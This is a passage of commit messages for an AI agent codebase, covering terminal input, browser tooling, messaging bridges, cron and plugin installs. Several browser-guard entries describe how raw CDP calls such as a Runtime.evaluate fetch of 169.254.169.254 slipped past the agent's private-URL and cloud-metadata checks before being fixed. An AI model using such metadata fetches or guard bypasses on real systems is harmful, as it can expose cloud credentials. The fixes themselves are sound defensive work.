across reads) keeps the newline. New sibling hermes_cli/cli_enter_burst.py.

Ink: a single-line text token ending in CR peels the CR into its own return key;
multi-line tokens keep it as paste content. TextInput re-syncs its local draft on
every submit, since text + submit in one React batch left the parent value
unchanged and the submitted text stuck in the composer.
process_registry.py and its test file are over the 2,000-line target and may
only shrink: the PTY/pipe Enter choice collapses to one expression and the two
submit_stdin tests move to tests/tools/test_process_registry_submit.py.
Review round on the one-write text + Enter submit:

- Classic: the provisional newline goes in at the cursor, so settling restores
  the exact pre-Enter document (text + cursor) instead of dropping the last
  character. A scripted edit inside a draft now submits the whole draft.
- Ink: the decision is kept across stdin reads. A single-line read ending in CR
  emits its text and holds the CR in the parser state; App's flush timer
  releases it as return after BURST_END_QUIET_MS (250 ms) of no input, and any
  read inside the window turns it into paste content. A CR-ending read within
  250 ms of a pasted line break stays content. A paste split across reads (both
  directions) no longer submits itself. The textInput submit re-sync is no
  longer needed (text and return land in separate batches) and is reverted.
- Tests: injected clock (cli_enter_burst.monotonic, also read by
  _tui_on_text_changed); the single-write test proves the delayed callback
  path; new mid-draft and split-read cases.
Terminals with the kitty keyboard protocol send Enter as CSI 13 u, which is no
CR, so the burst hold does not apply: the text and the submit land in one React
batch, the parent value ends where it started and the local draft kept the
submitted text. TextInput re-syncs its draft on every submit (restores the
re-sync this PR's review round reverted).
A kitty Enter (CSI 13 u) is not held by the parser, so text, Enter and the
next keystroke can share one React batch. The key after Enter was applied to
the submitted draft before the parent's submit response rendered: with fast
echo the forced re-sync then dropped it (`hello\e[13ux` left an empty
composer), and on the Ink path it was appended to the submitted text
(`hellox`).

Keys arriving after a submit now queue until an effect declared after the
value sync replays them, so they edit whatever draft the parent settled on:
`x` after a clearing parent, `hellox` after a parent that keeps its value.
Paste detection expired BURST_END_QUIET_S after the last pasted newline,
not after input went quiet. A non-bracketed paste delivered in reads
100 ms apart, with newlines only in the first and last read, therefore
treated its trailing Enter as a scripted text+Enter and submitted (and
cleared) the multi-line draft. Any input inside the quiet window now
keeps the paste burst alive, in the classic CLI (note_text_change) and
the Ink parser (pasteBurstAt). One-write text+Enter and a lone Enter
still submit.
The held trailing Enter decides on a 250 ms timer. When the event loop
stalls past that window with the next paste chunk already in stdin, the
timer ran before the chunk was read and submitted the first line alone:

- Ink: Node runs the timers phase before the poll phase, and
  stdin.readableLength cannot see bytes libuv has not read yet. The flush
  now hops to setImmediate (after this turn's poll) and runs only if no
  read replaced keyParseState in between.
- Classic: a signal handler that interrupts the selector past its deadline
  returns no events (PEP 475), so the due call_later ran before the reader.
  The settle now runs two call_soon hops later, after the next selector
  pass's readers. Text arriving while an Enter is held also keeps the paste
  burst alive however late it is read, so the paste's own trailing Enter
  stays a newline instead of submitting the joined text.
It watches an os.pipe() through SelectorEventLoop.add_reader, which
Windows selectors cannot do; the marker also lets the macOS lane run it.
The opt-out section listed cloud-metadata destinations among what
allow_private_urls stops rejecting, and cloud metadata debugging as a use
case. is_safe_url keeps metadata endpoints blocked regardless of the
setting; say so in the EN page and the zh-Hans mirror.
security.allow_private_urls: false refuses private URLs for web_extract, vision/media
fetches and cloud/CDP browsers, but browser_exec under a cloud provider routes them to
a local Chromium sidecar (browser.auto_local_for_private_urls, default true), and the
plain local Chromium with a local terminal skips the guard by design. Say so in the
security and browser docs, configuration reference, DEFAULT_CONFIG comments and
cli-config.yaml.example, and name auto_local_for_private_urls: false as the way to
refuse. Also correct browser.md's claim that redirects to private hosts are blocked:
routing is decided from URL literals, and a redirect stays on the cloud browser.
browser_cdp skipped its whole URL guard on a local terminal backend or
with browser.allow_private_urls: true, so Page.navigate and
Target.createTarget could open 169.254.169.254 while browser_exec
refuses it unconditionally (#16234). The metadata check now runs on
those two methods regardless, which is what the security docs state.
With the private-URL guard off (local backend, or browser.allow_private_urls on
a cloud/CDP backend) the floor only checked Page.navigate/Target.createTarget, so
Runtime.evaluate("fetch('http://169.254.169.254/...')"), Network.loadNetworkResource
and Fetch.continueRequest reached the metadata endpoint that browser_exec refuses on
every path. The guard-off branch now runs every _METHOD_PARAM_GUARDS probe (and the
url param of any other method) with an is_always_blocked_url-only predicate.
The cloud-metadata check on raw CDP ran only with the private-address
guard off, and only on a `url` param. With the guard on, an unlisted
method such as Network.loadNetworkResource fetched a metadata host or a
loopback URL from a public page, because only the page URL was checked.

Every CDP call now screens each `url` param and every http(s) literal
in its string params (function bodies, injected scripts, HTML) against
the metadata floor whatever the guard says. With the guard on, unlisted
methods also refuse private literals in their own params.

browser_exec still follows a page's own redirect or fetch to a metadata
address: the floor reads the URLs the agent writes, not the browser's
later traffic. security.md and browser.md now say that instead of
"refused on every route", and point at network-level IMDS blocking.
The metadata floor and the guard-on private check scanned every string in
every CDP call, so Input.insertText typing 'http://169.254.169.254/' (or a
LAN URL with the guard on) was refused although typing fetches nothing.
Input.* methods only insert text or dispatch key/mouse events; skip the
URL-literal scan for them.
Follow-up to the Webapp socket profile scope fix (#146097):

- chat_ws.gateway_ws: a ticket that names a profile while the gateway has
  no session authority bound (the listener unbinding window) closes 1013
  instead of serving the socket as the launch profile.
- ws_legacy_fallback.dispatch_legacy: on a launch-profile socket, a legacy
  verb with an explicit `profile` now runs in that profile's runtime scope
  (refused 4064 when the name does not resolve), as it already did on a
  non-launch ticket. Now that the socket runs in the launch scope, a
  handler that ignores `profile` would otherwise read the launch
  profile's secrets instead of refusing the unscoped read.
- test_webapp_socket_profile_scope: drive the real gateway_ws + handle_ws
  + session authorities + legacy billing.state over the socket (only the
  upgrade gate and HTTP substituted) instead of a stubbed handle_ws.
The socket runs in its ticket's profile scope (chat_ws.gateway_ws), and an
explicit profile naming the launch home resolved to '' and bound nothing,
so handlers that ignore 'profile' (pet.generate/pet.hatch) kept reading and
writing the secondary profile's state. dispatch_legacy now binds the launch
home's scope for that case.
Passing the launch home's path selected the secondary-profile branch of
_session_profile_runtime_scope, which skips launch_secret_scope, so a launch
credential that only exists in the process env (systemd, Docker, op run)
vanished. None selects the launch branch.
connect() SIGTERMed the previous bridge, slept a blind 1s and spawned the
new one regardless. A bridge that was slow to exit (or ignored SIGTERM)
still held 127.0.0.1:<port>, so the new bridge died on EADDRINUSE and the
reconnect loop retried the same race forever.

- _kill_port_process / _kill_stale_bridge_by_pidfile wait out a SIGTERM
  grace, then SIGKILL survivors after re-checking identity (a PID recycled
  inside the window is never signalled).
- connect() replaces the blind sleep with a bounded bind-probe wait for the
  port and fails with a named retryable whatsapp_bridge_port_busy instead
  of spawning onto a busy port. A holder that is not our bridge is still
  never killed.
- Listener discovery falls back to psutil when neither lsof nor ss is
  installed; without it the scan was silently empty and nothing was reaped.
- A bridge that dies during the post-spawn health wait no longer leaves a
  dead-PID bridge.pid; disconnect() waits for a force-killed bridge to exit.
- bridge.js handles the listen error and exits with a clear EADDRINUSE
  message instead of an unhandled stack trace.
The port-free wait used a plain bind probe, which Linux refuses while the
previous bridge's closed connections sit in TIME_WAIT (up to 60s). node's
listen sets SO_REUSEADDR and succeeds then, so a normal restart failed with
whatsapp_bridge_port_busy after 10s and waited for the reconnect backoff.
Probe with SO_REUSEADDR on POSIX so only a live listener blocks the spawn.
main's lint now rejects time.sleep in async tests (ruff ASYNC251, health HX013).
Block on the server's FIN like main's own TIME-WAIT test in test_whatsapp_multiplex.py.
Replaying the branch onto main linearly resurrected port_accepts_listen, the
duplicate helper the branch dropped when it merged main (#140186 already
gives port_is_free the bridge's SO_REUSEADDR semantics). Restore the merged
tree: one helper, one contract.
The reaps now wait out a SIGTERM grace (up to 6s each) with time.sleep, and
connect() called them inline on the loop every platform shares, freezing
Telegram/Discord/etc. while a slow WhatsApp bridge exited. Run them via
asyncio.to_thread. The psutil-fallback test reads /proc of every process,
which names files under the real Hermes home on a box running Hermes, so
it opts out of the home write guard.
A Bedrock session that switches from a reasoning GPT (Converse) to Claude with /model, or falls back
from one to the other, failed every Claude turn with
`HTTP 400: messages.N.content.M: Invalid `data` in `redacted_thinking` block` and then failed over to
GPT ("Fallback activated: <claude> -> <gpt> (bedrock)"). The only workaround was /new.

#142139 filters reasoning by issuing model on the Converse path only: a turn stamped by a non-Claude
model (CONVERSE_ISSUER_TYPE) replays no reasoning to Claude there. Claude on Bedrock runs on the
AnthropicBedrock (anthropic_messages) path, whose converter copied every thinking/redacted_thinking
block out of reasoning_details, GPT's sealed blob included. The classifier did not help either: the
rejection names none of the signature words, so it landed as format_error (non-retryable, fallback)
and never reached the existing thinking_signature strip-and-retry.

Two layers:

- Root: assistant_replay_carrier's reasoning_details carrier (_extract_preserved_thinking_blocks) yields
  nothing for a turn a non-Claude Converse model stamped, on every route and inside the in-flight tool
  loop. The predicate is #142139's, shared as bedrock_adapter.reasoning_minted_outside_claude (Converse's
  _reasoning_filter now calls the same helper). Claude's own turns (unstamped on AnthropicBedrock, or
  stamped by a Claude model on Converse) replay as before. Unstamped turns keep replaying, as on
  Converse: Claude mints redacted_thinking itself and its AnthropicBedrock turns carry no stamp, so
  "unstamped" cannot mean "foreign".
- Safety net: a 400 naming an invalid `redacted_thinking` block classifies as thinking_signature, so
  turn_recovery's one-shot strip (remember_rejected_thinking on signed-replay routes) removes the blob,
  persists the suppression for the session and retries on Claude. This covers unstamped GPT turns from
  sessions older than the stamp. It runs after the OpenAI Responses thinking_signature_invalid rule, so
  that class and invalid_encrypted_content keep winning.

Refs #142139
A Claude configured by application-profile ARN stamps its Converse turns with the ARN. Without
bedrock:GetInferenceProfile the ARN stays unresolved, names no model, and was treated as a non-Claude
issuer, so a switch to a plain Claude id dropped Claude's own signed thinking on both Bedrock wires.
Hosted Docker instances could not run the hermes-agent skill's tmux spawning
recipe (no tmux) or create Office/PDF files: the docx/xlsx/powerpoint/pdf
skills said `pip install ...`, but the image's sealed venv has no pip and the
root fs resets on restart.

- Dockerfile: tmux in the runtime apt layer (+3 MB); bake a new [documents]
  extra (python-docx, openpyxl, python-pptx, reportlab, pypdf) into the
  sealed venv (+14 MB compressed, ~+38 MB on disk).
- pyproject/uv.lock: the [documents] extra, exact pins, outside [all];
  pm/extras ANCHORS gets its import anchors.
- docx/xlsx/powerpoint/pdf (+ optional excel-author/pptx-author): use
  `python` when it already imports the libs, otherwise a persistent side
  venv at $HERMES_HOME/environments/documents (recreated when its Python is
  gone); pdf script hints and the OCR reference point there, never at pip
  into Hermes's interpreter.
- hermes-agent skill: send text and Enter as separate tmux keystrokes (one
  burst lands as a newline, verified live), plus a no-tmux fallback via
  terminal(background=true, pty=true) + process_manage write.

Found on Hermes Cloud staging.
The six document skills each carried a copy of a venv bootstrap that ran
`python -m venv --clear` on a shared directory after an unlocked check, so two
agents could erase each other's install, and the pdf skill's optional installs
read a DOCS_ENV that was only set inside a branch.

`hermes pm environment NAME --extra E | --requirement R` exposes PM's existing
isolated environments (pm.ensure_environment) to shell callers: the identity
is re-checked under the environment's install lock, a rebuild lands in a new
generation published by an atomic selection, and the previous generation is
never deleted. It prints only the interpreter path on stdout. --extra reads
the extra's pins from pyproject.toml, so a Hermes update does not build a new
generation unless those pins change.

Every document skill now runs the same one-liner
(`hermes pm environment documents --extra documents --extra documents-pdf`)
when `python` lacks the libraries; the new documents-pdf extra carries
pdfplumber and pypdfium2. OCR libraries get their own named environments.

The no-tmux PTY recipe pauses 0.5 s between the text write and the Enter
write, like the tmux recipe, so the paste guard cannot read Enter as a newline.
- docx/xlsx/powerpoint/pdf and finance excel-author/pptx-author: when `hermes`
  is not on PATH (terminal in the default Docker sandbox image, which has no
  Hermes runtime) the shared setup block builds a venv under the sandbox home
  with the same pinned versions as the documents/documents-pdf extras, instead
  of calling `hermes pm environment` and leaving PY empty. Identical block in
  all six skills; the pdf helpers' missing-dependency hints point at it.
- pdf ocr-extraction: same sandbox fallback for the pymupdf and marker side
  environments; marker CLIs run from the interpreter's bin dir
  ("$(dirname "$PY")/marker_single"), which is not on PATH; helper examples
  use "$PY".
- hermes-agent skill: the no-tmux PTY recipe polls the log for the ❯ prompt
  before the first write (startup's terminal query flushes earlier input);
  tmux recipes poll capture-pane for the prompt instead of a fixed sleep 8.
- Regenerate the skill pages.
macOS ships tmux via Homebrew without GNU timeout, so the wait failed with 'timeout: command not
found' and the task was never sent. A bounded for/seq loop does the same 90 s wait in plain sh.
The no-Hermes fallback treated an executable bin/python as a finished
environment, but CPython creates it before ensurepip runs. A second
document task started in that window skipped creation, ran a pip that
did not exist yet, and its helper failed (8 concurrent fresh callers in
nousresearch/hermes-sandbox:desktop: 5/8 succeeded).

Each caller now builds into its own mktemp dir next to the target,
installs and verifies the imports there, then publishes it with
a symlink (os.symlink: atomic, fails if another caller already published); losers
delete their copy. A published env that no longer imports is replaced
with os.replace and removed. Same block in docx, xlsx, powerpoint, pdf,
excel-author, pptx-author and both OCR side environments.

Same 8-caller probe after the fix: 8/8 under dash and bash; 4
concurrent repairs of a broken env: 4/4, one env left.
Reuse an eligible housekeeping reply before output transforms, persistence
and receipt generation when the local host requires a reply. Keep permitted
silence and marker-only warnings unchanged.

Reconcile recovered stream finals with their own delivered segment,
including transformed text and split previews. Treat short recovered
answers as successful replies and sanitize them before persistence.

Cover local gateway composition, output hooks, recovery, receipt identity,
stream transports and the unchanged silence controls.
A continuing session replays its stored system prompt verbatim on every turn
so the provider prefix cache stays warm. The gateway restores that prompt from
the session row on each fresh agent, and warm cached agents keep it in memory,
so SOUL.md edits, new or edited skills and project-context changes never
reach a long-running conversation until /new, which also drops the history.
Operators who push profile updates and restart the gateway had no way to make
existing conversations pick them up.

`hermes sessions refresh-prompts [--session ID] [--json]` records a refresh
epoch in the profile's state.db (state_meta, one counter orders profile-wide
and per-session requests). At the start of a continuing session's next turn,
_restore_or_build_system_prompt compares that epoch with the one stamped in
the session's model_config when its prompt was built. When the stored prompt
is older it follows the Bot Chat capability-refresh precedent in the same
function: tools[] pin restored first, skills prompt cache and snapshot
cleared, prompt rebuilt through _build_system_prompt (memory reloaded and
plugin sections re-rendered, as at a compaction boundary), cache break
recorded, on_session_start not fired, new bytes and epoch persisted so the
following turns restore them verbatim. One cache break per request.

Warm agents (gateway agent cache, TUI/Desktop) run the same check from
build_turn_context against the epoch they saw when their prompt was set, so
the verb works with the gateway running. A session first built after a
request is stamped with it and does not rebuild again.

With no request recorded, the stored prompt is reused byte-identically. The
only added work per continuing turn is one state_meta point read. No file
scanning, no config key, no watcher, no mid-turn mutation.

The tools[] pin is kept on purpose: the refresh is about instructions, and
tool changes already reach long sessions at the compaction boundary. The
cache break is recorded as the existing system_prompt_rebuild cause rather
than a new one, which would change the shared-metrics contract and schemas.

Related: #141154 (per-turn source hashing, alternative design), #74622.
The Bot Chat capability-refresh branch rebuilt and persisted the prompt
without recording the refresh epoch, so a pending `refresh-prompts`
request rebuilt the prompt a second time on the next turn, and a warm
agent restored through that branch never adopted a later request.

Read the requested epoch before that build and stamp it after the
persist, the same read-before-build contract as the first-build path.

Tests: a Bot Chat rebuild with a request pending is the only rebuild,
a warm agent rebuilt through Bot Chat adopts a later request, a warm
agent that restored its prompt from the row adopts a later request, and
a warm agent with no request never rebuilds across turns.
Main now keys the skills index manifest on utils.file_cache_version (stat
signature + content digest), so prompt_builder no longer imports
file_signature and the rebased probe raised AttributeError. Freeze the new
key instead; the test still fails when the refresh keeps the cached render.
With compression.in_place: false a rotation creates a child whose
model_config did not carry prompt_refresh_epoch, so after any past
profile-wide refresh-prompts request the child looked stale and rebuilt its
prompt (an extra prefix-cache break) on the first restore after eviction or
restart. Carry the key as conversation-wide state.

--session with a compressed conversation's original id wrote the request
for the ended root, which the live tip never reads: the CLI reported
success and nothing refreshed. Resolve to the compression tip first.
Baileys reports the delivery status of messages Hermes sends
(`messages.update` with `update.status` in 1:1 chats, a per-recipient
`message-receipt.update` in groups), but the bridge only handled poll
updates there, so operators could not see whether a reply was delivered
or read.

The bridge now queues a `delivery_status` event for status changes of its
own sends (tracked IDs only, so messages typed on the linked phone are
never reported). The adapter logs one gateway.log line per change and
never dispatches it as an inbound message.
One reply to a large group brings a receipt per member (delivered, then
read). In the shared 100-entry /messages queue that burst shifted out
inbound user messages still waiting for the adapter's next poll: with 150
receipts the queued inbound DM was gone. Receipts now have their own bound
and are appended after messages in /messages.
A relay chat message has been admitted natively since the session authority shipped (e75bc52f50,
first released in 0.22.3; e3fdebbf87 moved it into gateway/relay/inbound_admission.py):
RelayAdapter._on_inbound commits it through admit_producer and the authority's drain runs it.
The typing refresh and on_processing_start/on_processing_complete only ever ran in
BasePlatformAdapter._process_message_background, which that path never enters. So a relay
message got no in-progress reaction, no typing / Slack "is working" status, and no outcome
reaction; only tool progress re-sent typing, so a turn without tools showed nothing. Slash
commands still go through handle_message and kept theirs.

The turn executor now brackets producer-admitted turns (relay and webhook deliveries; a messaging
admission's own adapter task already brackets it):

- admit_producer marks the event it commits; SessionAuthority._admitted records a freshly queued
  row in the commit's own tracked task. A re-send of a row already running or settled is not
  marked again, and a cancelled queued row drops its mark (_settle_cancelled).
- execute_admission opens the bracket when the row starts executing, not when it commits: a
  message queued behind a running turn is acknowledged when it runs, as the in-band queue does
  (run_turn_followup_ack) and as 0.22.2's drain task did. It starts the adapter typing refresh
  with the event's thread metadata and runs on_processing_start.
- Typing lives as long as execution and stops before the reply is sent (#117300 pauses it there).
- The outcome is reported once: an interrupted turn as CANCELLED and a failed one (exception, or a
  failed result) as FAILURE when execution ends; a completed one after settlement, from the
  reply's send in deliver_settled (deliver_response now reports whether it delivered), or as
  FAILURE when settlement dropped the reply.
- Adapters that render neither typing nor processing hooks (webhook) get no bracket; scheduled
  wakes and heartbeats are not producer admissions, so they stay silent.

pre_gateway_dispatch still fires once at admission, admission stays off the transport reader and
the ACK semantics are unchanged: the bracket lives entirely on the execution side.
A drain cancelled while on_processing_start is awaited left the typing refresh running and the
row's bracket in producer_turns, because producer_turn's finally was not entered yet. Release both
before re-raising.
On a messaging chat with display.interim_assistant_messages off, a top-level
delegate_task still produced two messages: a "checks are running, I don't have
the findings yet" reply and, later, the real answer. Top-level model
delegations always run in the background (ea8a8b4af8), and the tool text tells
the model to "give a one-line status and END YOUR TURN" (c89f3b8800). That
status is the turn's final answer, not interim text, so no display setting
held it back.

New key delegation.gateway_mode: auto | inline | background (alias async).
auto (default) joins the children inside the turn on a messaging chat whose
resolved interim setting is off (global, display.platforms.<p> override or
platform default). The parent waits in the tool call, gets the results there
and sends one answer. API, local and webhook surfaces keep the background
path under auto. Chats with interim messages on are unchanged: same schema
bytes, same async dispatch.

How it works:
- The gateway resolves the mode from the turn's own profile-scoped config
  when it builds a session's agent (gateway/session_execution.py), and the
  agent's first tool build freezes it (like the one-shot pin).
- An inline session carries the joined delegate_task variant the one-shot
  path already uses: "results return in this tool call", no live-control
  parameters, no END YOUR TURN.
- Dispatch follows the delegate_task schema the session carries
  (session_joins_delegation), so schema and behaviour cannot disagree. The
  schema rides the session's tools[] pin: a config change applies from the
  next session (/new), as delegation.backend does, and a cache eviction or
  restart never flips a running chat.
- Inline children run on the existing synchronous path: attached to the
  parent, so /stop and an interrupting follow-up stop them; the per-child
  heartbeat keeps the parent's activity fresh for the inactivity watchdog;
  the async completion registry is not used. Nested and one-shot delegation
  are unchanged.

Refs #95522.
A scheduled heartbeat muted interim messages by rewriting the turn's display
settings, and the agent build read that muted value to freeze the session's
delegation mode. Heartbeats run under the user's session key, so on a cold
agent cache a heartbeat built (and cached, and pinned) an inline agent for an
interim-on chat, and the user's later turns ran inline. The heartbeat rewrite
no longer touches interim: TurnRunner already drops interim messages for a
heartbeat turn, and the TurnContext keeps the chat's configured value, which
is what a fresh agent's delegation.gateway_mode reads.

A fresh agent restored its session's tools[] pin (schema bytes) but kept the
build-time inline flag, so the next rebuild from fresh definitions
(compaction boundary, /reload-mcp, Bot Chat refresh) re-derived the other
variant and flipped the chat mid-conversation. restore_agent_tool_prefix now
re-freezes the flag from the restored delegate_task, making the pin
authoritative.

Docs: inline turns past the notify interval still get the long-running
notice (display.long_running_notifications); the stability sentence now
names compaction, /reload-mcp and heartbeats, and the post-update exception;
a deferred delegate_task (tool_search.defer) stays background.

Tests: heartbeat-first turn with an agent cache (interim on stays
background, control, interim off stays inline), a composed cell with agent
cache + real SessionDB pin + heartbeat + restart, and pin restore followed by
a compaction or /reload-mcp refresh in both directions.
rich_text does not interpret mrkdwn, so <@U…>, <#C…>, <!subteam^S…> and
<!here|channel|everyone> tokens inside lists, quotes and table cells were
emitted as text and rendered literally. Split them into user/channel/
usergroup/broadcast elements at the emphasis leaf so surrounding bold/
italic/strike spans survive.

Fixes #133315. Squashed from #133323 (095821f, 53c8268, fcf7c97, 9fd0327).
A labelled mention such as <#C1|dev_ops_alerts> or <!subteam^S1|@eng_team_x>
was split by the italic regex on its underscores before the leaf mention
split ran, so Slack showed the token literally with a stray italic run.
The label is dropped from the element anyway, so drop it up front.
A job may pin its own IANA timezone; its cron expression is then that zone's wall clock,
independent of the profile's configured timezone. Absent/None inherits the profile, so an
existing jobs.json keeps byte-identical behaviour and needs no migration.

The dispatch path needs the pin as much as the compute does. `compute_next_run()` resolves
the zone as job pin -> profile zone -> base offset, and every site that writes `next_run_at`
now passes it (advance, claim, resume, re-arm, recovery, and the quota/unreachable
planners); one missed site re-fires or skips a slot because the stored instant and the
expression would be read in different zones.

`_evaluate_due_job()` normalizes the stored instant into the JOB's zone, which hands every
downstream cron predicate the job's clock, and a pinned job skips
`_repair_timezone_shifted_cron` outright. That repair exists for jobs that FOLLOW the profile
zone across a zone change: on a pinned job its wall-clock comparison reads a due occurrence
as still-in-the-future and re-anchors past it.

Failing shape this fixes (profile America/Los_Angeles, job 0 9 * * 1-5 pinned to
America/New_York, scanned at 09:00 New York): `get_due_jobs()` returned [] and the job was
re-anchored to the next day, i.e. job zones east of the profile zone silently never fired.
The regression test drives the public store API and asserts both the fire and the absence of
the repair, and is proven red on main ([] and a rewritten instant).

Knobs live in the new sibling `cron/jobs_time.py`; `cron/jobs.py` stays over the file-lines
ratchet and only gained the call-site plumbing.
The catch-up window (how late a missed cron occurrence may run instead of being skipped) was
half the job's period, clamped to 120s-2h, for every job. A job can now override it outright:
0-1440 minutes, `0` meaning never catch up.

`grace_minutes` is a real 0, not "unset" — and the obvious write pattern would eat it:
`v in {None, "", False}` (the `workdir` update lambda) and `if value:` both treat `0` as
False in Python. Both doors therefore share `jobs_time.normalize_grace_minutes`, reads test
`is None`, and the renderer formats before testing truthiness.

The override moves the dispatch stamp too: `_classify_dispatch_lateness` and the dispatch
health metric read the same window, so a job the scheduler calls "late" is never reported
overdue by the dashboard.

Refused on `once`/`interval` schedules: the window describes a missed wall clock, and a
duration has none.

Split from the timezone commit so it can be reverted alone.
Two next_run_at writers still computed in the profile zone: extra_fire.settle (new on main since this branch was cut) after a manual run, and merge_job_definition when a profile distribution changes only the timezone. Either leaves an instant that is off the job's own cron lattice, so the next scan re-anchors past it without firing: one silently skipped run.
The ticker fires seconds after the slot, so a 0 s catch-up window classified every on-time run as missed: with cron.catch_up_missed=false the job never fired at all, and with the default it still ran late misses and stamped every normal run catch_up. Floor the override at the existing 120 s tick tolerance, and let an explicit per-job grace skip a miss past its window regardless of the global catch-up default (that is what the user asked for on that job).
CronJobCreate had no such fields, so POST /api/cron/jobs silently dropped them (a bad zone returned 200 and stored an unpinned job) while PATCH validated them. Pass both to create_job, which validates.
The cronjob schema is sent on every API call. Keep `timezone` (the feature)
with a one-line description and leave the catch-up window override
(`grace_minutes`) to the CLI and dashboard, where it is already settable.
The handler still accepts it, so nothing that passes it breaks.
Relay inbound attachments are localized to random relay_media_<x> temp
files, and that random basename was the only name left. The wire
media[].filename was dropped, Content-Disposition only contributed its
extension, and the document note showed the random basename as the
user's filename.

- MessageEvent.media_filenames: per-attachment original name, parallel
  to media_urls with the same invariant as media_types ("" = unknown).
- _event_from_wire fills it from media[].filename by URL lookup. Older
  connector payloads without the field still parse.
- RelayMediaClient.download_with_name returns (path, name). It prefers
  suggested_name, then Content-Disposition parsed with the stdlib MIME
  parser (quoted values, RFC 5987 filename* preferred over filename).
  download() keeps its path-only signature. Storage stays a random temp
  name, so duplicate names never collide.
- _localize_inbound_media carries (url, mime, name) triples, so a failed
  download never shifts a neighbour's type or name.
- Document, audio and video notes use the original name when known. A
  relay temp file with no known name is labelled
  "(original filename unknown)" instead of its random basename. Native
  cache paths (doc_<id>_<name>) render exactly as before.
- Names are untrusted: basename only, control/format characters
  dropped, 255-char cap, and the existing note regex replaces quotes
  and brackets.
- The names survive pending-message merges, text batching, /queue and
  the native admission envelope. The envelope omits the field when no
  name is known, so existing admissions keep their fingerprint.
_drop_remote_media (main, 538755f) strips an uncached remote URL from
media_urls/types/inlined so the rest of the message is admitted. Relay
keeps a public URL whose download failed together with its original
name, so the new media_filenames list stayed one longer than media_urls
and the length check refused the whole message again.
providers.bedrock.request_timeout_seconds and
providers.bedrock.models.<model>.timeout_seconds resolved correctly through
hermes_cli.timeouts.get_provider_request_timeout, but no Bedrock client was
built with the result. The cached boto3 bedrock-runtime client (ambient and
profile-scoped) was created with no botocore Config, so it kept botocore's
60s read / 60s connect, and the AnthropicBedrock SDK client was built with
_client_timeout(None), i.e. a fixed 900s read. The resolver (3143d32330)
landed after the cached Converse client (0cb8c51fa5) and was wired only into
the OpenAI-wire and native Anthropic builders; 611657487f documented Bedrock
as not covered instead of wiring it.

- _get_bedrock_runtime_client(region, model) resolves the model's timeout
  (model over provider) and passes Config(read_timeout=..., connect_timeout=60)
  only when one is configured; unset or invalid builds the exact
  no-Config client used before.
- Both client caches (ambient and per-profile-home) key on the effective read
  timeout, so models with different overrides in one region never share a
  client, and the same timeout reuses one client. Stale-connection eviction
  drops every timeout slot of the region.
- converse/converse_stream dispatch picks the client from the request's
  modelId, so a /model switch or a fallback to another Bedrock model uses
  that model's timeout. call_converse and the context probe pass their model.
- AnthropicBedrock: build_anthropic_bedrock_client takes the timeout; the
  bound client and the per-request client key carry the active model's
  value (connect stays 10s, unset stays 900s).
- Docs: replace "not currently wired for AWS Bedrock" with what is wired.

This closes a configuration gap only. A socket read timeout bounds each read,
not the whole call; retry policy and the stale detector are unchanged.
The Install button in native Desktop (hermes:plugin:installDesktop) accepted
file://, ssh://, git@ and http:// sources and copied the desktop/ tree with
fs.cp, which publishes symlinks (and copies through a symlinked desktop/
folder), so a repository could publish files from this machine as plugin
files. The IPC door now refuses any non-https source before cloning, and the
installer refuses a desktop tree with a symlink on the way to or inside it,
plus a 64 MB cap, the same policy as the Webapp's host-side desktop install.
`hermes plugins install` keeps every scheme it documents.
plugins.manage install (native Desktop, the Webapp) and the dashboard's
POST /api/dashboard/agent-plugins/install handed any identifier to
dashboard_install_plugin, so a click could clone a file:// folder, an
ssh/git@ source through the host's ssh-agent, or plain http://. Both GUI
doors now refuse a non-https custom source before cloning, through one
helper (gui_install_source_refusal). A catalog_name install clones the
catalog's own source and is unchanged; `hermes plugins install` keeps
every scheme it documents.
The symlink refusal and 64 MB cap ran only in the git installer, so a
combined agent+desktop package (agent half installed, desktop half copied
by the reconcile pass) still published a link inside its desktop/ folder.
publishDesktopTree now takes the tree's containing package and checks it
before staging; only a package folder the user symlinked in by hand (a
development checkout) is copied as it stands.
A combined package's desktop half is published by the reconcile pass,
and a half that pass refuses (a symlink in its tree, over 64 MB) was only
logged. The reconcile IPC returned the published paths alone, so the
dialog toasted "Desktop plugin <name> installed" for a half that was
never copied.

The reconcile IPC now answers { published, refused: [{ name, reason }] }.
The preload keeps reconcileDesktopPlugins() returning the published paths
for its existing callers and adds reconcileDesktopPluginsReport(); the
install run reads it and puts the refusal reason in the dialog for the
package it just installed. The agent half's success toast is unchanged.
The reconcile walks every profile and the first one to publish a name
owns the root copy; a same-named package refused in an earlier home no
longer surfaces as the install dialog's failure.
installDesktopPluginFromGit removed the existing folder as soon as Force
was set, before publishDesktopTree checked the new tree. A replacement
the plain-tree check refuses (a symbolic link in it, over 64 MB) then
left the user with no plugin at all. The early removal goes:
publishDesktopTree already replaces the folder after the check, the
staged copy and the marker succeed, under the same root-writer lock.
Maintainer ruling: Desktop and the Webapp must keep installing private
plugins. The https-only source rule this branch added
(guiInstallSourceRefusal in the native install IPC, gui_install_source_refusal
in plugins.manage install and POST /api/dashboard/agent-plugins/install)
refused git@/ssh:// private repos, http:// and file:// local folders. It
goes, with its tests, and the user guide says Install from Git takes any
git source `hermes plugins install` accepts.

The symlink / plain-tree / 64 MB refusal in publishDesktopTree, the
reconcile refusal report in the install dialog and the forced-reinstall
fix stay.
Private plugins live behind ssh keys or in local folders. The Webapp's
host-side desktop install accepted https only; it now takes git@/ssh://,
file:// and http:// like the agent installer and native Desktop, per the
maintainer ruling on #146189.
The Webapp's new chats name their owner `local` (the bridge's only source), but
the session rows it lists came back untagged: Electron's main process stamps
each source's rows with their connection, and the browser bridge had no
equivalent. Grouped by profile, one gateway then split into an unowned
top-level `default` group plus a `local` gateway section holding `default`
again. The bridge's REST door now tags listed rows like Electron does, and a
`local` section no registry lists reads "Hermes host" instead of its raw id.

Found on Hermes Cloud staging.
The session-owner stamp doc said `local` is never stamped; the Webapp
REST door now tags every listed row `local`, so the doc names that
exception. A Webapp resume already routed through `local` (the tab's
connection is mode remote, connectionId local), so the tag changes no
dial: it only stops the remembered-owner hint write, and the row's
detail read is tagged the same.

New vitest: a row listed through the Webapp bridge (gateway local,
profile work) resumes on the tab's own socket with profile work, reads
work's transcript through (local, work), builds no second socket, and a
later open without the listing (no hint) routes the same. Fails with
the bridge's tag removed (checked).
Every Webapp row now carries connection_id 'local', and the sidebar's
usage selector refused any group with a connection id, so per-profile
cost/token totals vanished in the Webapp. A browser-hosted tab's `local`
groups are the serving host's own profiles, the gateway the totals were
read from; native registry gateways keep the guard.
Grouped by profile (All profiles), a profile with no chats had no section,
